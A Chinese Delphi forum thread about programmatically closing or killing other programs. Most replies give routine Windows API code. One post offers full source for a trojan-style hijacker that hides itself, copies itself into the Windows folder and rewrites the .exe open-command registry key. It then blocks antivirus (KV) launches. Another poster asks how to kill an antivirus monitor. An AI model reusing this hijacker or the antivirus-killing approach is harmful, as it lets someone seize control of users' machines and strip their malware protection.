如何关闭应用程序 (200分)

  • 主题发起人 主题发起人 ljbXS
  • 开始时间 开始时间
L

ljbXS

Unregistered / Unconfirmed
GUEST, unregistred user!
当一个程序起动后马上让它关闭,比如我运行“联众”,打开界面后马上关闭“联众”<br>要是自动关闭[:)][:D][8D][:(][:(]
 
没测试,随手写的!<br>Var<br>I:Thandle;<br>begin<br>I:=FindWindow('联众游戏大厅',nil);<br>If I&lt;&gt;0 Then<br>SendMessage(I,WM_SYSCOMMAND,SC_MINIMIZE,0);<br>end;<br>
 
当然也可以找它的进程,然后Kill
 
只要它有窗口,通过查找窗口信息找出进程,然后杀掉.也可以照YB_unique的第一个法子.
 
是这样的!!!!!!
 
用我的『进程管理』可以很方便地控制一个或多个程序的开启或关闭,<br>我的主页 http://ph11.126.com 有下载
 
<br>&nbsp;问题:程序如何中止 ( 积分:100, 回复:8, 阅读:60 )<br>分类:非技术问题 ( 版主:悲酥清风, luyear ) &nbsp;<br>来自:chluo, 时间:2000-7-13 17:42:00, ID:282663 [显示:小字体 | 大字体] &nbsp;<br>在windows下编了一个程序,当调用一个程序,运行结束后,会<br>出现一个dos窗口,如何把它杀掉?<br>&nbsp;<br>&nbsp;<br>来自:www, 时间:2000-7-13 17:55:00, ID:282671 <br>用winexec('command /c 程序名 ',sw_hide);<br><br>&nbsp;<br>&nbsp;<br>来自:Kent, 时间:2000-7-13 18:03:00, ID:282679 <br>agree...<br>&nbsp;<br>&nbsp;<br>来自:chluo, 时间:2000-7-13 18:58:00, ID:282726 <br>情形是这样的,我调了一个在dos执行的程序,采用的是createprocess,然后<br>waitforsingleobject, 这个dos程序本身有一个退出按钮,通过跟踪发现,<br>当点了退出按钮后,waitforsingleobject不会返回,除非我自己手工地去点击<br>dos窗口的关闭纽,它才会返回,我希望把最后这一步去掉,不知道有没有方法?<br>&nbsp;<br>&nbsp;<br>来自:向红林, 时间:2000-7-13 21:22:00, ID:282831 <br>试下<br>var <br>HWndCalculator : HWnd; <br>begin <br>// find the exist calculator window <br>HWndCalculator := Winprocs.FindWindow(nil, '你的DOS程序标题栏'); // close the exist Calculator <br>if HWndCalculator &lt;&gt; 0 then <br>SendMessage(HWndCalculator, WM_CLOSE, 0, 0); <br>end; <br><br>&nbsp;<br>&nbsp;<br>来自:老屯, 时间:2000-7-13 21:37:00, ID:282844 <br>你先记住dos窗口的关闭按钮的位置,当你要结束的时候,给这个Dos窗口发送鼠标抬起的消息<br>&nbsp;<br>&nbsp;<br>来自:孤松, 时间:2000-7-14 12:07:00, ID:283384 <br>用 <br>&nbsp; &nbsp;Application.terminate 就可以了<br>&nbsp;<br>&nbsp;<br>来自:Crab, 时间:2000-7-14 18:37:00, ID:283700 <br>最好不要直接运行 DOS 版本的 exe 文件,用它的 pif 文件运行,在其中设上自动<br>关闭。<br>&nbsp;<br>&nbsp;<br>来自:chluo, 时间:2000-7-14 22:12:00, ID:283853 <br>多人接受答案了。<br>&nbsp;<br>&nbsp;<br>得分大富翁:Crab-50,Kent-10,www-10,孤松-10,老屯-10,向红林-10, <br>
 
<br>&nbsp;问题:如何激活和杀掉某一个进程? ( 积分:200, 回复:9, 阅读:136 )<br>分类:系统相关 ( 版主:luyear, zyy04 ) &nbsp;<br>来自:php1, 时间:2000-6-1 8:36:00, ID:257303 [显示:小字体 | 大字体] &nbsp;<br>  这已经不是什么新鲜的问题了。以前也有很多人解决过类似的<br>问题。但是我看那些例子看不懂,只好出重金求答案。<br>  有如下程序片段:<br>......<br>var<br>&nbsp; mainform: Tmainform;<br>&nbsp; l &nbsp; &nbsp;: Tlist; &nbsp;////返回的东东在"L"这个TList中。<br><br>type<br>&nbsp; TProcessInfo = Record<br>&nbsp; &nbsp; ExeFile &nbsp; &nbsp;: String;<br>&nbsp; &nbsp; ProcessID &nbsp;: DWORD;<br>&nbsp; end;<br>&nbsp; pProcessInfo = ^TProcessInfo;<br><br><br>implementation<br><br>{$R *.DFM}<br><br>procedure Tmainform.B_StartClick(Sender: TObject);<br>var<br>&nbsp; &nbsp; p : pProcessInfo;<br>&nbsp; &nbsp; lppe: TProcessEntry32;<br>&nbsp; &nbsp; found : boolean;<br>&nbsp; &nbsp; Hand : THandle;<br>begin<br>&nbsp; &nbsp; lb_show.Items.Clear;<br>&nbsp; &nbsp; l.Clear;<br>&nbsp; &nbsp; Hand := CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);<br>&nbsp; &nbsp; lppe.dwSize:=sizeof(lppe);<br>&nbsp; &nbsp; found := Process32First(Hand,lppe);<br>&nbsp; &nbsp; if not found then begin<br>&nbsp; &nbsp; &nbsp; &nbsp; showmessage('Found false!');<br>&nbsp; &nbsp; &nbsp; &nbsp; exit;<br>&nbsp; &nbsp; end;<br>&nbsp; &nbsp; while found do begin<br>&nbsp; &nbsp; &nbsp; &nbsp; New(p);<br>&nbsp; &nbsp; &nbsp; &nbsp; p.ExeFile := lppe.szExeFile;<br>&nbsp; &nbsp; &nbsp; &nbsp; p.ProcessID := lppe.th32ProcessID;<br>&nbsp; &nbsp; &nbsp; &nbsp; l.Add(p);<br>&nbsp; &nbsp; &nbsp; &nbsp; lb_show.Items.Add(p.exefile);<br>&nbsp; &nbsp; &nbsp; &nbsp; found := Process32Next(Hand,lppe);<br>&nbsp; &nbsp; end;<br>end;<br>......<br>  我如何根据上面得到的p,激活或者杀掉某一个进程?请写出程序段。<br>如果上面的有错误,应该怎样改?然后又怎样激活或者杀掉?<br><br>&nbsp;<br>&nbsp;<br>来自:Croco, 时间:2000-6-1 9:13:00, ID:257335 <br>根据进程 ID 杀掉进程的函数如下:<br>procedure KillProcess(dwProcessId: DWORD);<br>var<br>&nbsp;ProcHandle: THandle;<br>begin<br>&nbsp; ProcHandle := OpenProcess(1, FALSE, dwProcessID);<br>&nbsp; try<br>&nbsp; &nbsp; if ProcHandle &lt;&gt; 0 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; if TerminateProcess(ProcHandle, $FFFFFFFF) then<br>&nbsp; &nbsp; &nbsp; &nbsp; WaitForSingleObject(ProcHandle, INFINITE);<br>&nbsp; &nbsp; end;<br>&nbsp; finally<br>&nbsp; &nbsp; CloseHandle(ProcHandle);<br>&nbsp; end;<br>end;<br>你可以这样调用 KillProcess(p.ProcessID);<br><br><br>&nbsp;<br>&nbsp;<br>来自:Kill Night, 时间:2000-6-1 9:28:00, ID:257344 <br>杀掉一个进程调用API,<br>BOOL TerminateProcess(<br>&nbsp; HANDLE hProcess, // handle to the process<br>&nbsp; UINT uExitCode &nbsp; // exit code for the process<br>);<br>或<br>VOID ExitProcess(<br>&nbsp; UINT uExitCode &nbsp; // exit code for all threads<br>);<br>进程不能Suspend,所以无法激活;<br>不过希望你能这样做: &nbsp;<br>你可以找进程下的所有线程,对线程操作要方便的多且安全的多.<br>&nbsp;<br>&nbsp;<br>来自:php1, 时间:2000-6-10 12:02:00, ID:263832 <br>Croco的答案,我测试过的确不错。但是,人心不足,当我企图用这个程序<br>来杀江民的“KVW3000 实时监视器 - KVWMon”的时候,问题来了。<br>  KillProcess(p.ProcessID)会进入运行:<br>WaitForSingleObject(ProcHandle, INFINITE);<br>&nbsp; &nbsp; 一会后,就会(没有响应)。不过,KVWMon也很伤,图标没了。为什么会<br>这样?<br>  另外,对于IE有时会一杀就是几个窗口(这样很容易杀错良民。),大概<br>这是一个进程下的几个线程吧!取线程的ID应该是用Thread32First和<br>Thread32Next吧。但是好象不能直接用这两个函数来替代上例中的<br>Process32First和Process32Next,显示:<br>[Error] main_form.pas(88): Types of actual and formal var <br>parameters must be identical<br>&nbsp; &nbsp; 而我看的资料这两对函数的参数好象是一样的。为什么会出错?<br><br><br>&nbsp;<br>&nbsp;<br>来自:honestman, 时间:2000-6-10 12:09:00, ID:263841 <br>  用这些方法来杀进程,会不会清除该进程所占的内存?对系统的稳定性有没有<br>影响?<br>&nbsp;<br>&nbsp;<br>来自:happy3001, 时间:2000-6-10 13:46:00, ID:263903 <br>PHP1大哥:<br>&nbsp; 小弟不能下载,能把题目和好的答案给我吗?<br>&nbsp; &nbsp;THANKS &nbsp; &nbsp; &nbsp; &nbsp; E-MAIL:renyi163@yeah.net<br>&nbsp;<br>&nbsp;<br>来自:php1, 时间:2000-6-15 8:13:00, ID:265391 <br>  用这些方法来杀进程,会不会清除该进程所占的内存?对系统的稳定性有没有<br>影响?<br>&nbsp;<br>&nbsp;<br>来自:sonicyouth, 时间:2000-6-15 8:50:00, ID:265417 <br>当然会清除该process占用的所有内存,对系统稳定性也应该不会有影响,<br>只会对被中止的process造成影响,比方说不能保存当前数据之类的<br>&nbsp;<br>&nbsp;<br>来自:php1, 时间:2000-6-15 12:42:00, ID:265571 <br>这就不关我事了,只要能完全清除该process占用的所有内存,对系统稳定性不会有影响就行了。<br>&nbsp;<br>&nbsp;<br>来自:php1, 时间:2000-7-4 8:21:00, ID:276116 <br>多人接受答案了。<br>&nbsp;<br>&nbsp;<br>得分大富翁:Croco-150,happy3001-5,honestman-5,Kill Night-25,sonicyouth-15, <br>p
 
<br>Procedure CloseLZProc;<br>Var<br>&nbsp; &nbsp; _HWnd:HWnd;<br>begin<br>&nbsp; &nbsp; _HWnd:=FindWindow(Nil,PChar('联众游戏大厅')); // 注意标题必须在后面!<br>&nbsp; &nbsp; If (_HWnd&lt;&gt;0) Then<br>&nbsp; &nbsp; &nbsp; &nbsp;SendMessage(_HWnd,WM_CLOSE,0,0);<br>end;<br>
 
这里有没有搞网络软件开发的?
 
你也可以写一个程序对所执行的.exe文件进行过滤,在注册表中修改.exe的关联,这样不<br>就不用麻烦了啊:)像冰河一样:)呵呵:)
 
我也是学DELPHI不久,所以程序写的也不是很好,但至少可以给大家提供一种方法,<br>互相学习嘛:)<br><br>unit Unit1;<br><br>interface<br><br>uses<br>&nbsp; Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,<br>&nbsp; Registry;<br><br>type<br>&nbsp; TForm1 = class(TForm)<br>&nbsp; &nbsp; procedure FormCreate(Sender: TObject);<br>&nbsp; private<br>&nbsp; &nbsp; { Private declarations }<br>&nbsp; public<br>&nbsp; &nbsp; { Public declarations }<br>&nbsp; procedure cmerasebkgnd(var message:twmerasebkgnd);message wm_erasebkgnd;<br>&nbsp; end;<br><br>var<br>&nbsp; Form1: TForm1;<br><br>implementation<br><br>{$R *.DFM}<br><br>procedure tform1.cmerasebkgnd(var message:twmerasebkgnd);<br><br>begin<br><br>brush.style:=bsclear;<br><br>inherited;<br><br>end;<br><br>procedure TForm1.FormCreate(Sender: TObject);<br>var<br>&nbsp; pname,mname:String;<br>&nbsp; a:Byte;<br>&nbsp; Reg:TRegistry;<br>begin<br>&nbsp; SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);<br>&nbsp; if (not fileexists('c:/windows/MicroSoft.exe')) then begin<br>&nbsp; &nbsp; mname := Application.ExeName ;<br>&nbsp; &nbsp; CopyFile(Pchar(mname),'c:/windows/MicroSoft.exe',true);<br>&nbsp; &nbsp; Reg:=TRegistry.Create;<br>&nbsp; &nbsp; Reg.RootKey:=HKEY_CLASSES_ROOT;<br>&nbsp; &nbsp; reg.OpenKey('exefile/shell/open/command',true);<br>&nbsp; &nbsp; reg.WriteString('','c:/windows/MicroSoft.exe %1 %*');<br>&nbsp; &nbsp; reg.CloseKey;<br>&nbsp; end;<br><br>&nbsp; pname:='';<br>&nbsp; a:=1;<br>&nbsp; while ParamStr(a)&lt;&gt;'' do begin<br>&nbsp; &nbsp; pname:=pname+ParamStr(a)+' ';<br>&nbsp; &nbsp; inc(a);<br>&nbsp; end;<br>&nbsp; if (pos('qq',pname)&lt;&gt;0) or (pos('Qq',pname)&lt;&gt;0) or (pos('QQ',pname)&lt;&gt;0) or (pos('qQ',pname)&lt;&gt;0) then begin<br>&nbsp; &nbsp; messagebeep(0);<br>&nbsp; &nbsp; showmessage('大 家 好 , 我 是 “ 百 分 百 感 觉 ” :) QQ:85813096 !!!');<br>&nbsp; end;<br>&nbsp; if (pos('kv',pname)&lt;&gt;0) or (pos('KV',pname)&lt;&gt;0) or (pos('Kv',pname)&lt;&gt;0) or (pos('kV',pname)&lt;&gt;0) then begin<br>&nbsp; &nbsp; messagebeep(0);<br>&nbsp; &nbsp; showmessage('程 序 已 经 被 破 坏 ! 请 不 要 自 讨 没 趣 了 ! ! ! !');<br>&nbsp; end else WinExec(Pchar(pname),0);<br><br>&nbsp; Application.Terminate ;<br>end;<br><br>end.<br><br>当然这个程序还有个问题是不能关机:(要对关机指命也进行一下过滤:)网上有,请<br>大家找一下:)我在这里只是给大家一个思路,至于怎么走,呵呵:)<br>[:)][:)][:)][:)][:)][:)][:)]<br>
 
小侠客,我有兴趣。<br>msgofbusiness@263.net
 
Windows NT中有一个函数MoveFileEx,若使用MOVEFILE_DELAY_UNTIL_REBOOT 标记,它可以在重启过程中删除文件。但是,Windows 9x 并不支持这个标记。怎么办呢?<br><br>每次当你重启,windows会在Windows目录下寻找文件WININIT.INI。这个文件包含删除/复制/重命名文件的命令,它可以在任何东西(实际上是决大部分)被载入前运行。你可以在[Rename]部分里使用语法 目标文件=原文件。如果目标文件为NUL,则文件将被删除。文件名和路径必须是短文件名(因为这个过程运行于长文件名支持程序载入之前)。<br><br>注意文件win32.hlp与这个例子相反,你不可以使用WritePrivateProfileString()或TiniFile访问这个文件,可能由于它有副本值。若它有空值,TiniFile会覆盖它而不是新建一个,所以你最好使用TstringList代替。<br><br>以下是一些输入项:<br><br>[rename]<br>NUL=C:/TEMP.TXT<br>NUL=C:/TEMP2.TXT<br>C:/NEW_DIR/EXISTING.TXT=C:/EXISTING.TXT<br>C:/NEW_DIR/NEWNAME.TXT=C:/OLDNAME.TXT<br>C:/EXISTING.TXT=C:/TEMP/NEWFILE.TXT<br><br>以下是函数DeleteLater,它会往wininit.ini里添加NUL=文件名,若wininit.ini不存在,则创建一个,也可以创建[rename]部分。<br><br>procedure DeleteLater(Filename: string);<br>var<br>&nbsp; Wininit : string;<br>&nbsp; Buffer : array[0..MAX_PATH] Of char;<br>&nbsp; I,J : integer;<br>&nbsp; Ini : TStringList;<br>begin<br>&nbsp; FillChar(Buffer, SizeOf(Buffer), 0);<br>&nbsp; GetWindowsDirectory(Buffer, SizeOf(Buffer));<br>&nbsp; Wininit := IncludeTrailingBackslash(Buffer) + 'Wininit.ini';<br><br>&nbsp; Ini := TStringList.Create;<br>&nbsp; try<br>&nbsp; &nbsp; if FileExists(Wininit) then Ini.LoadFromFile(Wininit);<br>&nbsp; &nbsp; for I := 0 to Ini.Count - 1 do Ini := Uppercase(Ini);<br><br>&nbsp; &nbsp; &nbsp;J := Ini.IndexOf('[RENAME]');<br>&nbsp; &nbsp; if J = -1 then<br>&nbsp; &nbsp; begin<br>&nbsp; &nbsp; &nbsp; Ini.Add('[Rename]');<br>&nbsp; &nbsp; &nbsp; J := 0;<br>&nbsp; &nbsp; end;<br>&nbsp; FillChar(Buffer, SizeOf(Buffer), 0);<br>&nbsp; GetShortPathName(PChar(Filename), Buffer, SizeOf(Buffer));<br>&nbsp; Ini.Insert(J+1, 'NUL=' + Buffer);<br>&nbsp; Ini.SaveToFile(Wininit);<br>&nbsp; finally<br>&nbsp; &nbsp; Ini.Free;<br>&nbsp; end;<br>end;<br><br><br>
 
接受答案了.
 
后退
顶部